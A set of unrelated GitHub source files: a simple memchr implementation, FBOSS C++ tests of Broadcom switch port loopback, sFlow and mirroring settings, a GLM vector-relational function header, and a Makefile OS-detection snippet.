DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * */ #include "cgc_string.h" void *cgc_memchr(const void *s, int c, cgc_size_t n) { const unsigned char *buf = s; cgc_size_t i; for (i = 0; i < n; i++) if (buf[i] == c) return (void *)&buf[i]; return NULL; }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2004-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * */ #include "fboss/agent/hw/bcm/BcmError.h" #include "fboss/agent/hw/bcm/BcmPortTable.h" #include "fboss/agent/hw/bcm/BcmPortUtils.h" #include "fboss/agent/hw/bcm/tests/BcmTest.h" #include "fboss/agent/hw/bcm/tests/BcmTestUtils.h" #include "fboss/agent/hw/test/HwPortUtils.h" #include "fboss/agent/state/SwitchState.h" #include "fboss/qsfp_service/if/gen-cpp2/transceiver_types.h" #include "fboss/agent/hw/test/ConfigFactory.h" #include <thrift/lib/cpp/util/EnumUtils.h> extern "C" { #include <bcm/port.h> } namespace { bool isFlexModeSupported( facebook::fboss::BcmTestPlatform* platform, facebook::fboss::FlexPortMode desiredMode) { for (auto flexMode : platform->getSupportedFlexPortModes()) { if (flexMode == desiredMode) { return true; } } return false; } void getSflowRates( int unit, bcm_port_t port, int* ingressRate, int* egressRate) { auto rv = bcm_port_sample_rate_get(unit, port, ingressRate, egressRate); facebook::fboss::bcmCheckError(rv, "failed to get port sflow rates"); } } // namespace namespace facebook::fboss { class BcmPortTest : public BcmTest { protected: std::vector<PortID> initialConfiguredPorts() const { return {masterLogicalPortIds()[0], masterLogicalPortIds()[1]}; } cfg::SwitchConfig initialConfig() const override { return utility::oneL3IntfTwoPortConfig( getHwSwitch(), masterLogicalPortIds()[0], masterLogicalPortIds()[1]); } }; TEST_F(BcmPortTest, PortApplyConfig) { auto setup = [this]() { applyNewConfig(initialConfig()); }; auto verify = [this]() { for (auto portId : initialConfiguredPorts()) { // check port should exist in portTable_ ASSERT_TRUE( getHwSwitch()->getPortTable()->getBcmPortIf(PortID(portId)) != nullptr); utility::assertPortStatus(getHwSwitch(), portId); int loopbackMode; auto rv = bcm_port_loopback_get(getUnit(), portId, &loopbackMode); bcmCheckError(rv, "Failed to get loopback mode for port:", portId); EXPECT_EQ(BCM_PORT_LOOPBACK_NONE, loopbackMode); } }; verifyAcrossWarmBoots(setup, verify); } TEST_F(BcmPortTest, PortSflowConfig) { auto constexpr kIngressRate = 10; auto constexpr kEgressRate = 20; auto setup = [this, kIngressRate, kEgressRate]() { auto newCfg = initialConfig(); for (auto portId : initialConfiguredPorts()) { auto portCfg = utility::findCfgPort(newCfg, portId); portCfg->sFlowIngressRate_ref() = kIngressRate; portCfg->sFlowEgressRate_ref() = kEgressRate; } applyNewConfig(newCfg); }; auto verify = [this, kIngressRate, kEgressRate]() { for (auto portId : initialConfiguredPorts()) { int ingressSamplingRate, egressSamplingRate; getSflowRates( getUnit(), portId, &ingressSamplingRate, &egressSamplingRate); ASSERT_EQ(kIngressRate, ingressSamplingRate); ASSERT_EQ(kEgressRate, egressSamplingRate); } }; verifyAcrossWarmBoots(setup, verify); } TEST_F(BcmPortTest, PortLoopbackMode) { auto setup = [this]() { auto newCfg = initialConfig(); std::vector<cfg::PortLoopbackMode> loopbackModes = { cfg::PortLoopbackMode::MAC, cfg::PortLoopbackMode::PHY}; for (auto index : {0, 1}) { auto portId = initialConfiguredPorts()[index]; auto portCfg = utility::findCfgPort(newCfg, portId); portCfg->loopbackMode_ref() = loopbackModes[index]; } applyNewConfig(newCfg); }; auto verify = [this]() { std::map<PortID, int> port2LoopbackMode = { {PortID(masterLogicalPortIds()[0]), BCM_PORT_LOOPBACK_MAC}, {PortID(masterLogicalPortIds()[1]), BCM_PORT_LOOPBACK_PHY}, }; utility::assertPortsLoopbackMode(getHwSwitch(), port2LoopbackMode); }; verifyAcrossWarmBoots(setup, verify); } TEST_F(BcmPortTest, PortLoopbackModeMAC40G) { if (!isFlexModeSupported(getPlatform(), FlexPortMode::ONEX40G)) { return; } if (true) { // Changing loopback mode to MAC on a 40G port on trident2 changes // the speed to 10G unexpectedly. Ignore this test for now... // // Broadcom case: CS8832244 // return; } auto setup = [this]() { auto newCfg = initialConfig(); for (auto portId : initialConfiguredPorts()) { auto portCfg = utility::findCfgPort(newCfg, portId); portCfg->loopbackMode_ref() = cfg::PortLoopbackMode::MAC; utility::updatePortSpeed( *getHwSwitch(), newCfg, portId, cfg::PortSpeed::FORTYG); } applyNewConfig(newCfg); }; auto verify = [this]() { for (auto portId : initialConfiguredPorts()) { utility::assertPortLoopbackMode( getHwSwitch(), portId, BCM_PORT_LOOPBACK_MAC); utility::assertPort(getHwSwitch(), portId, true, cfg::PortSpeed::FORTYG); } }; verifyAcrossWarmBoots(setup, verify); } TEST_F(BcmPortTest, PortLoopbackModePHY40G) { if (!isFlexModeSupported(getPlatform(), FlexPortMode::ONEX40G)) { return; } auto setup = [this]() { auto newCfg = initialConfig(); for (auto portId : initialConfiguredPorts()) { auto portCfg = utility::findCfgPort(newCfg, portId); portCfg->loopbackMode_ref() = cfg::PortLoopbackMode::PHY; utility::updatePortSpeed( *getHwSwitch(), newCfg, portId, cfg::PortSpeed::FORTYG); } applyNewConfig(newCfg); }; auto verify = [this]() { for (auto portId : initialConfiguredPorts()) { utility::assertPortLoopbackMode( getHwSwitch(), portId, BCM_PORT_LOOPBACK_PHY); utility::assertPort(getHwSwitch(), portId, true, cfg::PortSpeed::FORTYG); } }; verifyAcrossWarmBoots(setup, verify); } TEST_F(BcmPortTest, PortLoopbackModeMAC100G) { if (!isFlexModeSupported(getPlatform(), FlexPortMode::ONEX100G)) { return; } auto setup = [this]() { auto newCfg = initialConfig(); for (auto portId : initialConfiguredPorts()) { auto portCfg = utility::findCfgPort(newCfg, portId); portCfg->loopbackMode_ref() = cfg::PortLoopbackMode::MAC; utility::updatePortSpeed( *getHwSwitch(), newCfg, portId, cfg::PortSpeed::HUNDREDG); } applyNewConfig(newCfg); }; auto verify = [this]() { for (auto portId : initialConfiguredPorts()) { utility::assertPortLoopbackMode( getHwSwitch(), portId, BCM_PORT_LOOPBACK_MAC); utility::assertPort( getHwSwitch(), portId, true, cfg::PortSpeed::HUNDREDG); } }; verifyAcrossWarmBoots(setup, verify); } TEST_F(BcmPortTest, PortLoopbackModePHY100G) { if (!isFlexModeSupported(getPlatform(), FlexPortMode::ONEX100G)) { return; } auto setup = [this]() { auto newCfg = initialConfig(); for (auto portId : initialConfiguredPorts()) { auto portCfg = utility::findCfgPort(newCfg, portId); portCfg->loopbackMode_ref() = cfg::PortLoopbackMode::PHY; utility::updatePortSpeed( *getHwSwitch(), newCfg, portId, cfg::PortSpeed::HUNDREDG); } applyNewConfig(newCfg); }; auto verify = [this]() { for (auto portId : initialConfiguredPorts()) { utility::assertPortLoopbackMode( getHwSwitch(), portId, BCM_PORT_LOOPBACK_PHY); utility::assertPort( getHwSwitch(), portId, true, cfg::PortSpeed::HUNDREDG); } }; verifyAcrossWarmBoots(setup, verify); } TEST_F(BcmPortTest, SampleDestination) { // sample destination can't be configured if sflow sampling isn't supported if (!getPlatform()->sflowSamplingSupported()) { return; } auto setup = [=]() { auto newCfg = initialConfig(); std::vector<cfg::SampleDestination> sampleDestinations = { cfg::SampleDestination::CPU, cfg::SampleDestination::MIRROR}; for (auto index : {0, 1}) { auto portId = initialConfiguredPorts()[index]; auto portCfg = utility::findCfgPort(newCfg, portId); portCfg->sampleDest_ref() = sampleDestinations[index]; if (sampleDestinations[index] == cfg::SampleDestination::MIRROR) { portCfg->ingressMirror_ref() = "sflow"; } } cfg::MirrorTunnel tunnel; cfg::SflowTunnel sflowTunnel; *sflowTunnel.ip_ref() = "10.0.0.1"; sflowTunnel.udpSrcPort_ref() = 6545; sflowTunnel.udpDstPort_ref() = 5343; tunnel.sflowTunnel_ref() = sflowTunnel; newCfg.mirrors_ref()->resize(1); *newCfg.mirrors_ref()[0].name_ref() = "sflow"; newCfg.mirrors_ref()[0].destination_ref()->tunnel_ref() = tunnel; return applyNewConfig(newCfg); }; auto verify = [=]() { std::map<PortID, int> port2SampleDestination = { {PortID(masterLogicalPortIds()[0]), BCM_PORT_CONTROL_SAMPLE_DEST_CPU}, {PortID(masterLogicalPortIds()[1]), BCM_PORT_CONTROL_SAMPLE_DEST_MIRROR}, }; utility::assertPortsSampleDestination( getHwSwitch(), port2SampleDestination); }; verifyAcrossWarmBoots(setup, verify); } TEST_F(BcmPortTest, NoSampleDestinationSet) { // sample destination can't be configured if sflow sampling isn't supported if (!getPlatform()->sflowSamplingSupported()) { return; } auto setup = [=]() { return applyNewConfig(initialConfig()); }; auto verify = [=]() { std::map<PortID, int> port2SampleDestination = { {PortID(masterLogicalPortIds()[0]), BCM_PORT_CONTROL_SAMPLE_DEST_CPU}}; utility::assertPortsSampleDestination( getHwSwitch(), port2SampleDestination); }; verifyAcrossWarmBoots(setup, verify); } TEST_F(BcmPortTest, IngressMirror) { auto setup = [this]() { auto newCfg = initialConfig(); newCfg.mirrors_ref()->resize(1); *newCfg.mirrors_ref()[0].name_ref() = "mirror"; cfg::MirrorTunnel tunnel; cfg::GreTunnel greTunnel; *greTunnel.ip_ref() = "1.1.1.10"; tunnel.greTunnel_ref() = greTunnel; newCfg.mirrors_ref()[0].destination_ref()->tunnel_ref() = tunnel; auto portId = masterLogicalPortIds()[1]; auto portCfg = utility::findCfgPort(newCfg, portId); portCfg->ingressMirror_ref() = "mirror"; applyNewConfig(newCfg); }; auto verify = [this]() { auto* bcmPort = getHwSwitch()->getPortTable()->getBcmPort( PortID(masterLogicalPortIds()[1])); ASSERT_TRUE(bcmPort->getIngressPortMirror().has_value()); EXPECT_EQ(bcmPort->getIngressPortMirror().value(), "mirror"); }; verifyAcrossWarmBoots(setup, verify); } TEST_F(BcmPortTest, EgressMirror) { auto setup = [this]() { auto newCfg = initialConfig(); newCfg.mirrors_ref()->resize(1); *newCfg.mirrors_ref()[0].name_ref() = "mirror"; cfg::MirrorTunnel tunnel; cfg::GreTunnel greTunnel; *greTunnel.ip_ref() = "1.1.1.10"; tunnel.greTunnel_ref() = greTunnel; newCfg.mirrors_ref()[0].destination_ref()->tunnel_ref() = tunnel; auto portId = masterLogicalPortIds()[1]; auto portCfg = utility::findCfgPort(newCfg, portId); portCfg->egressMirror_ref() = "mirror"; applyNewConfig(newCfg); }; auto verify = [this]() { auto* bcmPort = getHwSwitch()->getPortTable()->getBcmPort( PortID(masterLogicalPortIds()[1])); ASSERT_TRUE(bcmPort->getEgressPortMirror().has_value()); EXPECT_EQ(bcmPort->getEgressPortMirror().value(), "mirror"); }; verifyAcrossWarmBoots(setup, verify); } TEST_F(BcmPortTest, SampleDestinationMirror) { auto setup = [=]() { auto newCfg = initialConfig(); cfg::Mirror mirror; cfg::MirrorTunnel tunnel; cfg::SflowTunnel sflowTunnel; *sflowTunnel.ip_ref() = "10.0.0.1"; sflowTunnel.udpSrcPort_ref() = 6545; sflowTunnel.udpDstPort_ref() = 5343; tunnel.sflowTunnel_ref() = sflowTunnel; *mirror.name_ref() = "mirror"; mirror.destination_ref()->tunnel_ref() = tunnel; newCfg.mirrors_ref()->push_back(mirror); auto portId = masterLogicalPortIds()[1]; auto portCfg = utility::findCfgPort(newCfg, portId); portCfg->ingressMirror_ref() = "mirror"; portCfg->sampleDest_ref() = cfg::SampleDestination::MIRROR; return applyNewConfig(newCfg); }; auto verify = [=]() { auto* bcmPort = getHwSwitch()->getPortTable()->getBcmPort( PortID(masterLogicalPortIds()[1])); ASSERT_TRUE(bcmPort->getIngressPortMirror().has_value()); EXPECT_EQ(bcmPort->getIngressPortMirror().value(), "mirror"); }; verifyAcrossWarmBoots(setup, verify); } TEST_F(BcmPortTest, SampleDestinationCpu) { auto setup = [=]() { auto newCfg = initialConfig(); cfg::Mirror mirror; cfg::MirrorTunnel tunnel; cfg::GreTunnel greTunnel; *greTunnel.ip_ref() = "1.1.1.10"; tunnel.greTunnel_ref() = greTunnel; *mirror.name_ref() = "mirror"; mirror.destination_ref()->tunnel_ref() = tunnel; newCfg.mirrors_ref()->push_back(mirror); auto portId = masterLogicalPortIds()[1]; auto portCfg = utility::findCfgPort(newCfg, portId); portCfg->ingressMirror_ref() = "mirror"; portCfg->sampleDest_ref() = cfg::SampleDestination::CPU; return applyNewConfig(newCfg); }; auto verify = [=]() { auto* bcmPort = getHwSwitch()->getPortTable()->getBcmPort( PortID(masterLogicalPortIds()[1])); ASSERT_TRUE(bcmPort->getIngressPortMirror().has_value()); EXPECT_EQ(bcmPort->getIngressPortMirror().value(), "mirror"); }; verifyAcrossWarmBoots(setup, verify); } TEST_F(BcmPortTest, AssertL3Enabled) { // Enable all master ports auto setup = [this]() { applyNewConfig(utility::oneL3IntfNPortConfig( getHwSwitch(), masterLogicalPortIds(), cfg::PortLoopbackMode::MAC)); }; auto verify = [this]() { std::array<std::tuple<std::string, bcm_port_control_t>, 2> l3Options = { std::make_tuple("bcmPortControlIP4", bcmPortControlIP4), std::make_tuple("bcmPortControlIP6", bcmPortControlIP6)}; for (const auto& port : *getProgrammedState()->getPorts()) { if (!port->isEnabled()) { continue; } for (auto l3Option : l3Options) { int currVal{0}; auto rv = bcm_port_control_get( getUnit(), static_cast<int>(port->getID()), std::get<1>(l3Option), &currVal); bcmCheckError( rv, folly::sformat( "Failed to get {} for port {} : {}", std::get<0>(l3Option), static_cast<int>(port->getID()), bcm_errmsg(rv))); // Any enabled port should enable IP4 and IP6 EXPECT_EQ(currVal, 1); } } }; verifyAcrossWarmBoots(setup, verify); } } // namespace facebook::fboss
{ "pile_set_name": "Github" }
/// @ref core /// @file glm/detail/func_vector_relational.hpp /// /// @see <a href="http://www.opengl.org/registry/doc/GLSLangSpec.4.20.8.pdf">GLSL 4.20.8 specification, section 8.7 Vector Relational Functions</a> /// /// @defgroup core_func_vector_relational Vector Relational Functions /// @ingroup core /// /// Relational and equality operators (<, <=, >, >=, ==, !=) are defined to /// operate on scalars and produce scalar Boolean results. For vector results, /// use the following built-in functions. /// /// In all cases, the sizes of all the input and return vectors for any particular /// call must match. #pragma once #include "precision.hpp" #include "setup.hpp" namespace glm { /// @addtogroup core_func_vector_relational /// @{ /// Returns the component-wise comparison result of x < y. /// /// @tparam vecType Floating-point or integer vector types. /// /// @see <a href="http://www.opengl.org/sdk/docs/manglsl/xhtml/lessThan.xml">GLSL lessThan man page</a> /// @see <a href="http://www.opengl.org/registry/doc/GLSLangSpec.4.20.8.pdf">GLSL 4.20.8 specification, section 8.7 Vector Relational Functions</a> template <typename T, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<bool, P> lessThan(vecType<T, P> const & x, vecType<T, P> const & y); /// Returns the component-wise comparison of result x <= y. /// /// @tparam vecType Floating-point or integer vector types. /// /// @see <a href="http://www.opengl.org/sdk/docs/manglsl/xhtml/lessThanEqual.xml">GLSL lessThanEqual man page</a> /// @see <a href="http://www.opengl.org/registry/doc/GLSLangSpec.4.20.8.pdf">GLSL 4.20.8 specification, section 8.7 Vector Relational Functions</a> template <typename T, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<bool, P> lessThanEqual(vecType<T, P> const & x, vecType<T, P> const & y); /// Returns the component-wise comparison of result x > y. /// /// @tparam vecType Floating-point or integer vector types. /// /// @see <a href="http://www.opengl.org/sdk/docs/manglsl/xhtml/greaterThan.xml">GLSL greaterThan man page</a> /// @see <a href="http://www.opengl.org/registry/doc/GLSLangSpec.4.20.8.pdf">GLSL 4.20.8 specification, section 8.7 Vector Relational Functions</a> template <typename T, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<bool, P> greaterThan(vecType<T, P> const & x, vecType<T, P> const & y); /// Returns the component-wise comparison of result x >= y. /// /// @tparam vecType Floating-point or integer vector types. /// /// @see <a href="http://www.opengl.org/sdk/docs/manglsl/xhtml/greaterThanEqual.xml">GLSL greaterThanEqual man page</a> /// @see <a href="http://www.opengl.org/registry/doc/GLSLangSpec.4.20.8.pdf">GLSL 4.20.8 specification, section 8.7 Vector Relational Functions</a> template <typename T, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<bool, P> greaterThanEqual(vecType<T, P> const & x, vecType<T, P> const & y); /// Returns the component-wise comparison of result x == y. /// /// @tparam vecType Floating-point, integer or boolean vector types. /// /// @see <a href="http://www.opengl.org/sdk/docs/manglsl/xhtml/equal.xml">GLSL equal man page</a> /// @see <a href="http://www.opengl.org/registry/doc/GLSLangSpec.4.20.8.pdf">GLSL 4.20.8 specification, section 8.7 Vector Relational Functions</a> template <typename T, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<bool, P> equal(vecType<T, P> const & x, vecType<T, P> const & y); /// Returns the component-wise comparison of result x != y. /// /// @tparam vecType Floating-point, integer or boolean vector types. /// /// @see <a href="http://www.opengl.org/sdk/docs/manglsl/xhtml/notEqual.xml">GLSL notEqual man page</a> /// @see <a href="http://www.opengl.org/registry/doc/GLSLangSpec.4.20.8.pdf">GLSL 4.20.8 specification, section 8.7 Vector Relational Functions</a> template <typename T, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<bool, P> notEqual(vecType<T, P> const & x, vecType<T, P> const & y); /// Returns true if any component of x is true. /// /// @tparam vecType Boolean vector types. /// /// @see <a href="http://www.opengl.org/sdk/docs/manglsl/xhtml/any.xml">GLSL any man page</a> /// @see <a href="http://www.opengl.org/registry/doc/GLSLangSpec.4.20.8.pdf">GLSL 4.20.8 specification, section 8.7 Vector Relational Functions</a> template <precision P, template <typename, precision> class vecType> GLM_FUNC_DECL bool any(vecType<bool, P> const & v); /// Returns true if all components of x are true. /// /// @tparam vecType Boolean vector types. /// /// @see <a href="http://www.opengl.org/sdk/docs/manglsl/xhtml/all.xml">GLSL all man page</a> /// @see <a href="http://www.opengl.org/registry/doc/GLSLangSpec.4.20.8.pdf">GLSL 4.20.8 specification, section 8.7 Vector Relational Functions</a> template <precision P, template <typename, precision> class vecType> GLM_FUNC_DECL bool all(vecType<bool, P> const & v); /// Returns the component-wise logical complement of x. /// /!\ Because of language incompatibilities between C++ and GLSL, GLM defines the function not but not_ instead. /// /// @tparam vecType Boolean vector types. /// /// @see <a href="http://www.opengl.org/sdk/docs/manglsl/xhtml/not.xml">GLSL not man page</a> /// @see <a href="http://www.opengl.org/registry/doc/GLSLangSpec.4.20.8.pdf">GLSL 4.20.8 specification, section 8.7 Vector Relational Functions</a> template <precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<bool, P> not_(vecType<bool, P> const & v); /// @} }//namespace glm #include "func_vector_relational.inl"
{ "pile_set_name": "Github" }
# detect OS UNAME=$(shell uname) ifeq ($(UNAME), Linux) UNAME=LINUX else ifeq ($(UNAME), Darwin) UNAME=DARWIN else ifeq ($(UNAME), FreeBSD) UNAME=FREEBSD endif endif endif # choose tools ifeq ($(UNAME), LINUX) # Linux CC=gcc MAKE=make else ifeq ($(UNAME), FREEBSD) # FreeBSD CC=cc MAKE=gmake else ifeq ($(UNAME), DARWIN) # Mac OS X CC=cc MAKE=make else $(error "Unknown OS: " $(UNAME)) endif endif endif
{ "pile_set_name": "Github" }